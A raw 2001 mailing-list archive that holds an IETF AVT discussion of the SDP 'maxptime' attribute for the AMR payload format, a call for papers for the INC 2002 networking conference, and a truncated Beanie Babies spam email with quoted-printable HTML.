	for <confctrl@zephyr.isi.edu>; Fri, 31 Aug 2001 16:11:19 -0700 (PDT)
Received: from mailman.packetdesign.com (dns.packetdesign.com [65.192.41.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7VNBMv28518
	for <confctrl@ISI.EDU>; Fri, 31 Aug 2001 16:11:23 -0700 (PDT)
Received: from ash.packetdesign.com (ash.packetdesign.com [192.168.0.243])
	by mailman.packetdesign.com (8.11.0/8.11.0) with ESMTP id f7VNB9260499;
	Fri, 31 Aug 2001 16:11:09 -0700 (PDT)
	(envelope-from casner@acm.org)
Date: Fri, 31 Aug 2001 16:14:30 -0700 (PDT)
From: Stephen Casner <casner@acm.org>
To: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>
cc: <confctrl@ISI.EDU>, AVT WG <avt@ietf.org>
Subject: Re: [AVT] Re: maxptime (and rtp-mime, AMR and EVRC drafts)
In-Reply-To: <3B8F3B63.E165B5A2@era-t.ericsson.se>
Message-ID: <20010831152610.U46817-100000@ash.packetdesign.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by zephyr.isi.edu id QAA25114
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Magnus,

> You propose to reference the SDP-new draft in AMR payload format for the
> definition of maxptime. We have discussed this earlier with the conclusion
> that it should be defined in the AMR payload format. The reason is that we
> can't wait the necessary time for SDP-new to become an RFC. I believe that
> SDP-new will take at least 9 months before being in WG last call. The main
> reason is that the SDP interop tests has not yet started, not even a
> document on what to test exists. The AMR payload format should have been
> finished in march, and absolutely must be an RFC before the end of the
> year.

I meant to convey in my message that I was concerned about delaying
AMR and EVRC, but I didn't make that clear.  I was implicitly asking
for comments on how long it would take to publish the SDP update.
Your estimates may be right, and I agree that AMR should not be
delayed like that.

> My proposal regarding the maxptime and the AMR payload format is: We agree
> on the definition of maxptime that is added in SDP-new, i.e. should any
> updates be made regarding the wording and backwards compability issue. Use
> that definition in the AMR draft and also update it with comments on how to
> place it in SDP, and with correct examples. This will avoid any
> dependencies on SDP-new and RTP-Mime which would create delay.

Yes, I think that would work.  I think it would also be a good idea to
say explicitly that the maxptime attribute is expected to be in the
revision of RFC 2327 and that it is being added here with a consistent
definition.  RFC 2327 allows other documents to extend SDP by
specifying attributes and to register those attributes with IANA.
Therefore the IANA Considerations section of the AMR spec needs to say
that it is registering a new SDP attribute "maxptime" with the
definition we agree upon.  EVRC does not need to and should not
register it again, but should probably reference the registration in
AMR RFC.  RFC 2327bis should probably also have a note to say that it
is re-registering "maxptime" with the same definition as AMR, or some
such.

> I and Johan Sjöberg will inform Allison Mankin about the error in the SDP
> example. We propose that we wait until the IESG or AD has given us their
> comments before issuing an update version of the draft. In that way we can
> look over and fix any comments in one go.

Fine.
							-- Steve


From confctrl-owner  Sat Sep  1 03:04:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA22363
	for confctrl-outgoing; Sat, 1 Sep 2001 03:04:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA22358
	for <confctrl@zephyr.isi.edu>; Sat, 1 Sep 2001 03:04:36 -0700 (PDT)
Received: from ted.see.plym.ac.uk (ted.see.plymouth.ac.uk [141.163.49.40])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f81A4cv06335
	for <confctrl@isi.edu>; Sat, 1 Sep 2001 03:04:40 -0700 (PDT)
Received: from mail pickup service by ted.see.plym.ac.uk with Microsoft SMTPSVC;
	 Sat, 1 Sep 2001 10:59:12 +0100
From: "INC2002" <inc2002-maillist@jack.see.plym.ac.uk>
To: <confctrl@ISI.EDU>
Subject: INC2002 Call for Papers - July 2002
Date: Sat, 1 Sep 2001 10:59:12 +0100
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Message-ID: <0048a1259090191TED@ted.see.plym.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


**************************************************************************
*

        [Our apologies if you receive multiple postings of this CfP]

  Please find enclosed the CfP for the Third International Network
Conference

    If you would like to be removed from this mailing list, please use the
             following URL: http://www.plymouth.ac.uk/inc2002/

          Or, you can email us at postmaster@jack.see.plymouth.ac.uk
                        with the subject INC2002 REMOVE


**************************************************************************
*

============
  INC 2002
============

Third International Network Conference
Call for Papers
16-18 July 2002, Plymouth, United Kingdom
http://www.plymouth.ac.uk/inc2002


Invitation to INC 2002
======================
We invite you to participate in the International Network Conference 2002
to be held in Plymouth, UK, from 16-18th July 2002. This conference, the
third in a series of such events, will bring together leading figures from
both academia and industry to present and discuss the latest advances in
networking technologies from both research and commercial perspectives.

The first event, INC ‘98, was held in Plymouth in 1998, attracting an
international audience and papers on a wide range of topics. This success
was continued with INC 2000, with delegates attending from 18 countries.
Feedback from conference delegates at both events was extremely positive
and it is intended that INC 2002 will be similarly successful.

The 2002 conference will again take place in the historic city of
Plymouth, on the south-west coast of England. The event will be held over
three days, encompassing presentations delivered by researchers from
across the international community. Social events and a conference banquet
will also take place, giving an opportunity to exchange state of the art
results and advances in both formal and informal settings.

The conference is co-sponsored by the Institution of Electrical Engineers,
the British Computer Society, Orange Personal Communications Services
Limited, MCB University Press (Emerald), and the international journal
Internet Research.  You are warmly invited to participate in this
conference and we look forward to welcoming you to INC 2002.

Dr Steven Furnell
Conference Chairman


Conference Themes
=================
The Technical Programme will include presentations given by leading
invited speakers, as well as presentations based upon refereed papers
selected by the International Programme Committee.

The intention of the conference is to provide a forum for the exchange of
ideas and findings in a wide range of areas related to networking.
Suggested topics for papers include, but are not limited to, the
following:

Internet and web technologies
	Intelligent agents, Information search and retrieval,
	Web markup languages, Internet architecture and protocols,
	Multicast/broadcast technologies

Network architectures and management
	Network and service management, Quality of service,
	Real time applications, Distributed systems and middleware

Information systems security and privacy
	Authentication and access control, Network security and
	intrusion detection, Cryptography, Computer crime,
	Information security management, Risk analysis, Privacy management,
	Anonymity and pseudonymity

Applications and impacts
	Electronic commerce, Online learning, Virtual communities,
	Internet messaging and conferencing, Entertainment

Mobile networking
	Third and fourth generation technologies, Mobile wireless Internet,
	Mobile commerce, Security issues

Enhanced network services
	Access networks, Intelligent networks and services,
	Internet access devices

Within these areas, the Programme Committee would welcome papers
addressing both technological and/or application level issues, as well as
illustrating the impact of networking in an information society context
(e.g. commerce, communication, education etc.).

A prize of £500 will be awarded for the best paper (see instructions for
authors).


Information for Authors
=======================
Submission of papers
Authors are invited to submit their full papers by 30 November 2001.  The
total length of the paper should not exceed eight pages, including all
figures, tables and references.  A comprehensive set of instructions for
preparing camera ready papers can be found on the conference web site.
http://www.plymouth.ac.uk/inc2002

All papers should be sent electronically to the Conference Secretariat.
Submissions can be made by emailing documents to
inc-submissions@jack.see.plym.ac.uk.  Please use Microsoft Word,
PostScript, Adobe PDF or Rich Text Format.

Review and publication
All papers will be reviewed by at least 2 members of the International
Programme Committee.  Accepted papers will receive detailed instructions
to authors on the finalisation of the camera-ready copy, along with any
comments forwarded by the reviewers. Details of the audio-visual equipment
available for the presentations will also be forwarded at this time.

All accepted papers will be published in the Conference Proceedings, in
both print and CD formats. Selected papers will be considered for
publication in a special issue of the main sponsoring journal, Internet
Research.  In addition, further papers, focussing on relevant topics, may
be selected for inclusion in the journals Information Management &
Computer Security or Campus-Wide Information Systems.

A best paper award of £500, sponsored by MCB University Press (Emerald),
publishers of the above journals, will be awarded by the conference
committee and presented during the conference.


Registration of interest
========================
Authors and delegates are requested to fill in the on-line registration
forms on the INC2002 web site. Alternatively, the conference secretariat
may be contacted directly.


Summary of Important Dates
==========================
30 November 2001	Deadline for submission of papers
11 February 2002	Notification of paper acceptance
26 April 2002	Deadline for camera-ready paper submission and
			author registration


Registration Fees
=================
INC 2002 offers two options for registration, namely full participant or
student participant. Full participants will be entitled to admission to
the conference on each of the three days and will receive printed and CD
copies of the conference proceedings, along with tickets for the events in
the social programme.  Student participants will be entitled to admission
to the conference, attendance at social events and a CD copy of the
proceedings.  Lunches and refreshments will also be included for all
delegates. Note that the registration fee also varies depending upon the
date by which it is received.  Authors are granted a further concession in
their fee, but are required to register by 26 April 2002 (at the same time
as submitting their camera-ready papers).

                                        Full   Student
Authors
(registration deadline 26.4.2002)       £295    £225

Other delegates
Early registration (to 31.5.2002)       £320    £250
Standard registration (from 1.6.2002)   £345    £275


Social Programme
================
INC 2002 will be supported by a comprehensive social programme, including
a Welcome Reception and Conference Banquet.  The social programme is also
planned to include a tour of local sites of both historic interest and
scenic beauty.


Conference Secretariat / Correspondence
=======================================
Mrs Denise Horne, Faculty of Technology, University of Plymouth,
Drake Circus, Plymouth PL4 8AA, UK

Telephone :  + 44 (0) 1752 233304
Fax:         + 44 (0) 1752 233310
E-mail:      inc2002@plymouth.ac.uk
Web:         http://www.plymouth.ac.uk/inc2002


IEE Continuing Professional Development
=======================================
This activity may be appropriate for the maintenance or enhancement of a
competence relevant to an individual’s Continuing Professional Development
(CPD). It is the individual’s responsibility to identify whether the
activity is appropriate to their professional development.

Conference Venue
================
The conference will take place at the Sherwell Conference Centre (below)
at the University of Plymouth.  The University is situated in the centre
of Plymouth, a historic city on the south-west coast of the United
Kingdom.


Conference Chairman
===================
Dr Steven Furnell, University of Plymouth, United Kingdom


International Programme Committee
=================================
Darren Ballard, Cisco Systems, UK
Udo Bleimann, University of Applied Sciences, Darmstadt, Germany
Gerrit Bleumer, Francotyp-Postalia, Germany
David Finkel, Worcester Polytechnic Institute, USA
Kevin Fitzgerald, KPMG, Australia
Steven Furnell (chair), University of Plymouth, UK
Dimitris Gritzalis, Athens University of Economics and Business, Greece
Carsten Griwodz, University of Oslo, Norway
Holger Hofmann, ABB Corporate Research Center, Germany
Elizabeth Joyce, Symantec Corporation, UK
Sokratis Katsikas, University of the Aegean, Greece
Dominique Le Foll, Acterna, UK
John Lindsay, Kingston University, UK
Benn Lines , University of Plymouth, UK
Les Lloyd, Rollins College, USA
Joseph Morrissey, Cap Gemini Ernst & Young, UK
Sead Muftic, Stockholm University, Sweden
Andrew Phippen, University of Plymouth, UK
Karl Posch , Graz University of Technology, Austria
Seppo Puuronen, University of Jyvaskyla, Finland
Kimmo Raatikainen, University of Helsinki, Finland
Paul Reynolds, Orange Personal Communication Services Ltd, UK
Peter Sanders, University of Plymouth, UK
David Schwartz, Bar-Ilan University, Israel
Simon Shepherd, Universtiy of Bradford, UK
Jeanne Stynes, Cork Institute of Technology, Ireland
Roussow von Solms, Port Elizabeth Technikon, South Africa
Matthew Warren, Deakin University , Australia


For further information, please visit the conference web site or contact
the conference secretariat.

http://www.plymouth.ac.uk/inc2002

Paul Dowland
Local Organising Committee (chair)


From confctrl-owner  Sun Sep  2 11:03:21 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA08408
	for confctrl-outgoing; Sun, 2 Sep 2001 11:03:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA08403
	for <confctrl@zephyr.isi.edu>; Sun, 2 Sep 2001 11:03:20 -0700 (PDT)
Received: from market0 ([208.158.105.111])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f82I3Ov06295
	for <confctrl@isi.edu>; Sun, 2 Sep 2001 11:03:24 -0700 (PDT)
Received: from mail pickup service by market0 with Microsoft SMTPSVC;
	 Sun, 2 Sep 2001 10:59:50 -0700
From: <adv1@market.gogocity.com>
To: <confctrl@ISI.EDU>
Subject: Retire Beanie Babies Save Up to 50%
Date: Sun, 2 Sep 2001 10:59:49 -0700
MIME-Version: 1.0
Content-Type: multipart/alternative;	boundary="----=_NextPart_000_2BE34C_01C1339E.62B47ED0"
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Message-ID: <MARKET0vccc8ixmwbAf000af967@market0>
X-OriginalArrivalTime: 02 Sep 2001 17:59:50.0655 (UTC) FILETIME=[0FA620F0:01C133D9]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_2BE34C_01C1339E.62B47ED0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

=20
<http://www.gogocity.com//dept.asp?parent%5Fid=3D7&strParentName=3DSports=
%2B
%26%2BTravels>
<http://www.gogocity.com//dept.asp?parent%5Fid=3D7&strParentName=3DSports=
%2B
%26%2BTravels>=20
Big Saving from GoGoCity. If you'd rather not receive any future
promotional E-mails from GoGoCity.com,=20
please click --> Un-Subscribe My E-mai
<http://www.gogocity.com/ggc_unsubscribe.asp>  l
<http://www.gogocity.com/ggc_unsubscribe.asp>=20
International Order Welcome FREE SHIPPING NOT APPLY=20

ty=AE Beanie Babies (Retired)=20
Britannia Original Buddy
Britannia Original Buddy
click for large image

<http://www.gogocity.com//product_details.asp?dept_id=3D16403&pf_id=3DOS0=
1BR
ITANNIA-BUDDY> Retail Price: $199.00
Out Price: $99.99(save 50%)
More Details...
<http://www.gogocity.com//product_details.asp?dept_id=3D16403&pf_id=3DOS0=
1BR
ITANNIA-BUDDY> =20

ty=AE Beanie Babies Special Sale
Retails for $29.95~299.99 ( Save Up to 50% )


Now Only.....$99.99=20

This is an opportunity you don't want to miss
and a great one to add to your collection.=20

Limited Quantities, Hurry UP......!!!!!

=20

1. BRITANNIA ORIGINAL BUDDY	 2. VALENTINO TY BEANIE BUDDY	=20
Britannia Original Buddy
large image
<http://www.gogocity.com//product_details.asp?dept_id=3D16403&pf_id=3DOS0=
1BR
ITANNIA-BUDDY> =20
Retail Price: $199.00
Out Price: $99.99 (save 50%)
More Details...
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01BRITANNIA%2DBUDDY> =20
Buy it NOW !!
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01BRITANNIA%2DBUDDY>=20
	VALENTINO TY BEANIE BUDDY
large image
<http://www.gogocity.com//product_details.asp?dept_id=3D16403&pf_id=3DOS0=
1VA
LENTINO> =20
Retail Price: $29.95
Out Price: $14.95 (save 50%)
More Details...
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01VALENTINO> =20
Buy it NOW !!
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01VALENTINO>=20
=09
3. BRITANNIA THE BRITISH BEAR	 4. NIPPONIA THE JAPAN BEAR TY BEANIE
BEANIE	=20
BRITANNIA THE BRITISH BEAR
large image
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01BRITANNIA%2DBABY> =20
Retail Price: $125.99
Out Price: $79.95 (save 37%)
More Details...
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01BRITANNIA%2DBABY> =20
Buy it NOW !!
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01BRITANNIA%2DBABY>=20
	NIPPONIA THE JAPAN BEAR TY BEANIE BEANIE
large image
<http://www.gogocity.com//product_details.asp?dept_id=3D16403&pf_id=3DOS0=
1NI
PPONIA> =20
Retail Price: $111.95
Out Price: $55.95 (save 50%)
More Details...
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01NIPPONIA> =20
Buy it NOW !!
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01NIPPONIA>=20
=09
5. CHINOOK THE CANADA BEAR	 6. RADAR TY BEANIE BEANIE	=20
CHINOOK THE CANADA BEAR
large image
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01CHINNOOK> =20
Retail Price: $69.65
Out Price: $49.95 (save 28%)
More Details...
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01CHINNOOK> =20
Buy it NOW !!
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01CHINNOOK>=20
	RADAR TY BEANIE BEANIE
large image
<http://www.gogocity.com//product_details.asp?dept_id=3D16403&pf_id=3DOS0=
1RA
DAR> =20
Retail Price: $179.95
Out Price: $89.95 (save 50%)
More Details...
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01STING> =20
Buy it NOW !!
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01RADAR>=20
=09
7. CORAL TY BEANIE BABY	 8. STING THE STINGRAY TY BEANIE BABY	=20
CORAL TY BEANIE BABY
large image
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01CORAL> =20
Retail Price: $179.95
Out Price: $99.95 (save 44%)
More Details...
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01CORAL> =20
Buy it NOW !!
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01CORAL>=20
	STING THE STINGRAY TY BEANIE BABY
large image
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01STING> =20
Retail Price: $179.95
Out Price: $129.95 (save 28%)
More Details...
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D7011&pf%5Fid=3D=
OS0
1LUBPRC> =20
Buy it NOW !!
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01STING>=20
=09
9. GARCIA THE BEAR TY BEANIE BEANIE	 10. TABASCO THE BULL TY BEANIE
BEANIE	=20
GARCIA THE BEAR TY BEANIE BEANIE
large image
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01GARCIA> =20
Retail Price: $299.99
Out Price: $199.95 (save 33%)
More Details...
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01GARCIA> =20
Buy it NOW !!
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01GARCIA>=20
	TABASCO THE BULL TY BEANIE BEANIE
large image
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01TABASCO> =20
Retail Price: $179.95
Out Price: $89.95 (save 50%)
More Details...
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01TABASCO> =20
Buy it NOW !!
<http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf%5Fid=3D=
OS
01TABASCO>=20
=09

More Hot Item.....Click Here
<http://www.gogocity.com//searchresults.asp?department=3D16403&parent%5Fi=
d
=3D16>=20

------=_NextPart_000_2BE34C_01C1339E.62B47ED0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


<body bgcolor=3D"#FFFFFF" text=3D"#000000">
<div align=3D"center">=20
  <p><a =
href=3D"http://www.gogocity.com//dept.asp?parent%5Fid=3D7&strParentName=3D=
Sports%2B%26%2BTravels" target=3D"_blank"><img =
src=3D"http://www.gogocity.com/Assets/images/logo50.gif" =
border=3D"0"></a><a =
href=3D"http://www.gogocity.com//dept.asp?parent%5Fid=3D7&strParentName=3D=
Sports%2B%26%2BTravels" target=3D"_blank"><img =
src=3D"http://www.gogocity.com/Assets/images/Home399Banner.gif" =
border=3D"0"></a><br>
    <font size=3D"2" face=3D"Arial, Helvetica, sans-serif">Big Saving =
from GoGoCity.=20
    If you'd rather not receive any future promotional E-mails from =
GoGoCity.com,=20
    <br>
    please click --&gt; <b><a =
href=3D"http://www.gogocity.com/ggc_unsubscribe.asp">Un-Subscribe=20
    My E-mai</a></b></font><font size=3D"2"><a =
href=3D"http://www.gogocity.com/ggc_unsubscribe.asp"><font =
face=3D"Arial, Helvetica, sans-serif"><b>l</b></font></a></font><br>
    <font face=3D"Arial, Helvetica, sans-serif" size=3D"3"><b><font =
size=3D"2">International=20
    Order Welcome</font></b></font><font size=3D"2"><b><font =
face=3D"Arial, Helvetica, sans-serif">=20
    FREE SHIPPING NOT APPLY</font></b></font> </p>
  <table width=3D"75%" cellpadding=3D"0" height=3D"30" cellspacing=3D"0" =
bgcolor=3D"#3366CC">
    <tr>=20
      <td height=3D"28" valign=3D"top">=20
        <div align=3D"center"><font face=3D"Arial, Helvetica, =
sans-serif" color=3D"#FFFFFF"><b><font size=3D"2" =
color=3D"#FFFFFF"><b><b><font size=3D"7">ty<font =
size=3D"3">&reg;</font></font><font size=3D"5">=20
          Beanie Babies (Retired) =
</font></b></b></font></b></font></div>
      </td>
    </tr>
  </table>
  <table width=3D"75%" align=3D"center" cellspacing=3D"0" =
cellpadding=3D"10" border=3D"0">
    <tr valign=3D"top">=20
      <td align=3D"center" height=3D"222" bordercolor=3D"#00CCFF">=20
        <p><font size=3D"2" color=3D"#FFFFFF"><font face=3D"Arial, =
Helvetica, sans-serif" color=3D"#000000" size=3D"3"><b><font =
size=3D"4">Britannia=20
          Original Buddy</font></b></font><font face=3D"Arial, =
Helvetica, sans-serif" color=3D"#000000"><br>
          </font></font><a =
href=3D"http://www.gogocity.com//product_details.asp?dept_id=3D16403&pf_i=
d=3DOS01BRITANNIA-BUDDY"><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/BRITANNIA-BUDD=
Y-170.JPG" vspace=3D"5" alt=3D"Britannia Original Buddy" border=3D"0" =
height=3D"200"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2">click =
for large image<br>
          </font> <br>
          </a><font size=3D"2" face=3D"Arial, Helvetica, =
sans-serif">Retail Price:=20
          $199.00<br>
          <font color=3D"#FF0000"> Out Price: <b>$99.99</b>(save =
50%)</font></font><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept_id=3D16403&pf_i=
d=3DOS01BRITANNIA-BUDDY">More=20
          Details...</a></font> </p>
        </td>
      <td align=3D"center" height=3D"222">=20
        <p><font face=3D"Arial, Helvetica, sans-serif"><b><font =
size=3D"2"><b><b><font size=3D"5"><font size=3D"3">ty&reg;=20
          Beanie Babies Special =
Sale</font></font></b></b></font></b></font><br>
          <font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b>Retails for $29.95~299.99=20
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"3"><font =
size=3D"5"><font size=3D"2" color=3D"#000000">(=20
          Save Up to 50% )</font></font></font><font size=3D"4"><br>
          </font></b></font></p>
        <p><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font color=3D"#009966" size=3D"5"><font =
color=3D"#FF0000">=20
          <font size=3D"4">Now Only</font>.....<font =
size=3D"7">$99.99</font></font>=20
          </font></b></font><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font size=3D"5" color=3D"#FF0000"><i><font face=3D"Arial, =
Helvetica, sans-serif" size=3D"3"><b><br>
          <br>
          </b></font></i></font><font size=3D"5"><i><font face=3D"Arial, =
Helvetica, sans-serif" size=3D"3"><b>This=20
          is an opportunity you don't want to miss<br>
          and a great one to add to your collection. <br>
          =
</b></font></i></font></b></font></b></font></b></font></b></font></b><b>=
<font face=3D"Arial, Helvetica, sans-serif" size=3D"3"><b><font =
face=3D"Arial, Helvetica, sans-serif" size=3D"3"><b><font face=3D"Arial, =
Helvetica, sans-serif" size=3D"3"><b><font face=3D"Arial, Helvetica, =
sans-serif" size=3D"3"><b><font size=3D"5"><i><font face=3D"Arial, =
Helvetica, sans-serif" size=3D"3"><b><font face=3D"Arial, Helvetica, =
sans-serif" size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font size=3D"5" color=3D"#FF0000"><i><font face=3D"Arial, =
Helvetica, sans-serif" size=3D"3"><b><font color=3D"#FF0000"><br>
          </font><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font size=3D"5" color=3D"#FF0000"><i><font =
size=3D"4">Limited=20
          </font><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font size=3D"5"><i><font face=3D"Arial, Helvetica, =
sans-serif" size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font size=3D"5" color=3D"#FF0000"><i><font face=3D"Arial, =
Helvetica, sans-serif" size=3D"3"><b><font face=3D"Arial, Helvetica, =
sans-serif" size=3D"3"><b><font size=3D"5" color=3D"#FF0000"><i><font =
face=3D"Arial, Helvetica, sans-serif" size=3D"3"><b><font face=3D"Arial, =
Helvetica, sans-serif" size=3D"3"><b><font face=3D"Arial, Helvetica, =
sans-serif" size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font size=3D"5"><i><font face=3D"Arial, Helvetica, =
sans-serif" size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font size=3D"5" color=3D"#FF0000"><i><font face=3D"Arial, =
Helvetica, sans-serif" size=3D"3"><b><font face=3D"Arial, Helvetica, =
sans-serif" size=3D"3"><b><font size=3D"5" color=3D"#FF0000"><i><font =
size=3D"4">Quantities</font><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font size=3D"5"><i><font face=3D"Arial, Helvetica, =
sans-serif" size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font face=3D"Arial, Helvetica, sans-serif" =
size=3D"3"><b><font size=3D"5" color=3D"#FF0000"><i><font face=3D"Arial, =
Helvetica, sans-serif" size=3D"3"><b><font face=3D"Arial, Helvetica, =
sans-serif" size=3D"3"><b><font size=3D"5" color=3D"#FF0000"><i><font =
size=3D"4"></font></i></font></b></font></b></font></i></font></b></font>=
</b></font></b></font></b></font></i></font></b></font></b></font></b></f=
ont></b></font></b></font></i></font></b></font></b></font></i></font></b=
></font></b></font></b></font></b></font></i></font></b></font></b></font=
></b></font></b></font></b></font><font size=3D"4">,=20
          Hurry =
UP......!!!!!</font></i></font></b></font></b></font></i></font></b></fon=
t></b></font></b></font></b></font></i></font></b></font></b></font></b><=
/font></b></font></b></font></i></font></b></font></b></font></i></font><=
/b></font></b></font></b></font></b></font></i></font></b></font></b></fo=
nt></b></font></b></font></b></font></p>
        <p><img =
src=3D"http://www.lordwireless.com/auctionimage/ty.jpg"></p>
        </td>
    </tr>
  </table>
  <table cellspacing=3D"3" width=3D"75%">
    <tr valign=3D"top" bgcolor=3D"#660099">=20
      <td colspan=3D"2" height=3D"17"><font size=3D"2" =
color=3D"#FFFFFF"><b><font face=3D"Arial, Helvetica, sans-serif">1.=20
        </font><b><font face=3D"Arial, Helvetica, sans-serif">BRITANNIA =
ORIGINAL=20
        BUDDY</font></b></b></font></td>
      <td colspan=3D"2" height=3D"17"><font size=3D"2" =
color=3D"#FFFFFF"><b><font face=3D"Arial, Helvetica, sans-serif">2.=20
        VALENTINO TY BEANIE BUDDY</font></b></font></td>
    </tr>
    <tr valign=3D"top">=20
      <td width=3D"15%" height=3D"0">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept_id=3D16403&pf_i=
d=3DOS01BRITANNIA-BUDDY"><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/BRITANNIA-BUDD=
Y-80.JPG" width=3D"70" border=3D"0" alt=3D"Britannia Original =
Buddy"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"> large =
image</font></a>=20
        </div>
      </td>
      <td bgcolor=3D"#FFFF99" width=3D"32%" height=3D"0"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $199.00<br>
        <font color=3D"#FF0000"> Out Price: <b>$99.99 </b>(save =
50%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01BRITANNIA%2DBUDDY">More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01BRITANNIA%2DBUDDY"><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
